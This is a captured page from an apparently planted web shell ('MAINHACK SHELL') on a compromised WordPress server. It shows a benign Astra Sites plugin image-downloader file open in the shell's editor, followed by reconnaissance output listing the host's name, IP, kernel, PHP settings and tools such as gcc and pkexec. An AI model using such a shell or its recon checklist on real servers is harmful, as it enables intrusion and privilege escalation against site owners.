[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: images.php.tar
public_html/wp-content/plugins/astra-sites/inc/lib/gutenberg-templates/inc/importer/images.php 0000644 00000007733 15147757211 0032506 0 ustar 00 home/inceptionblue <?php /** * AI content generator and Images file. * * @package {{package}} * @since {{since}} */ namespace Gutenberg_Templates\Inc\Importer; use Gutenberg_Templates\Inc\Traits\Instance; use Gutenberg_Templates\Inc\Importer\Importer_Helper; /** * Images * * @since {{since}} */ class Images { use Instance; /** * Images * * @since {{since}} * @var (array) images */ public static $images = array( 'landscape' => array(), 'portrait' => array(), 'square' => array(), ); /** * Image index * * @since {{since}} * @var (array) image_index */ public static $image_index = array( 'landscape' => 0, 'portrait' => 0, 'square' => 0, ); /** * Get Images * * @return array Array of images. * @since {{since}} */ public function get_images() { return Importer_Helper::get_business_details( 'images' ); } /** * Get Image for the specified index and orientation * * @param string $orientation Orientation of the image. * @param int $index Index of the image. * @return array|boolean Array of images or false. * @since {{since}} */ public function get_image( $orientation = 'landscape', $index = 0 ) { $images = $this->get_images(); error_log( 'Fetching ' . $orientation . ' image with index ' . $index ); return ( isset( $images[ $orientation ][ $index ] ) ) ? $images[ $orientation ][ $index ] : false; } /** * Download image from URL. * * @param array $image Image data. * @return int|\WP_Error Image ID or WP_Error. * @since {{since}} */ public function download_image( $image ) { $id = $image['id']; $downloaded_ids = get_option( 'ast_block_downloaded_images', array() ); $downloaded_ids = ( is_array( $downloaded_ids ) ) ? $downloaded_ids : array(); if ( array_key_exists( $id, $downloaded_ids ) ) { // Return already downloaded image. return $downloaded_ids[ $id ]; } /* This is a Pixabay code $name = $image['tags']; Pixabay. */ $name = sanitize_title( $id ); // Unsplash. /* This is a Pixabay code $url = $image['largeImageURL']; Pixabay. */ $url = $image['url']; // Unsplash. $description = isset( $image['description'] ) ? $image['description'] : ''; $name = preg_replace( '/\.[^.]+$/', '', $name ) . '-' . $id . '.jpg'; error_log( 'Downloading Image as "' . $name . '" : ' . $url ); $wp_id = $this->create_image_from_url( $url, $name, $id, $description ); $downloaded_ids[ $id ] = $wp_id; update_option( 'ast_block_downloaded_images', $downloaded_ids ); return $wp_id; } /** * Create the image and return the new media upload id. * * @param String $url URL to the image. * @param String $name Name to the image. * @param String $photo_id Photo ID to the image. * @param String $description Description to the image. * @see http://codex.wordpress.org/Function_Reference/wp_insert_attachment#Example */ public function create_image_from_url( $url, $name, $photo_id, $description ) { require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; $file_array = array(); $file_array['name'] = wp_basename( $name ); // Download file to temp location. $file_array['tmp_name'] = download_url( $url ); // If error storing temporarily, return the error. if ( is_wp_error( $file_array['tmp_name'] ) ) { return $file_array; } // Do the validation and storage stuff. $id = media_handle_sideload( $file_array, 0, null ); // If error storing permanently, unlink. if ( is_wp_error( $id ) ) { @unlink( $file_array['tmp_name'] ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPressVIPMinimum.Functions.RestrictedFunctions.file_ops_unlink -- Deleting the file from temp location. return $id; } $alt = ( '' === $description ) ? $name : $description; // Store the original attachment source in meta. add_post_meta( $id, '_source_url', $url ); update_post_meta( $id, '_wp_attachment_image_alt', $alt ); return $id; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 212.31 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042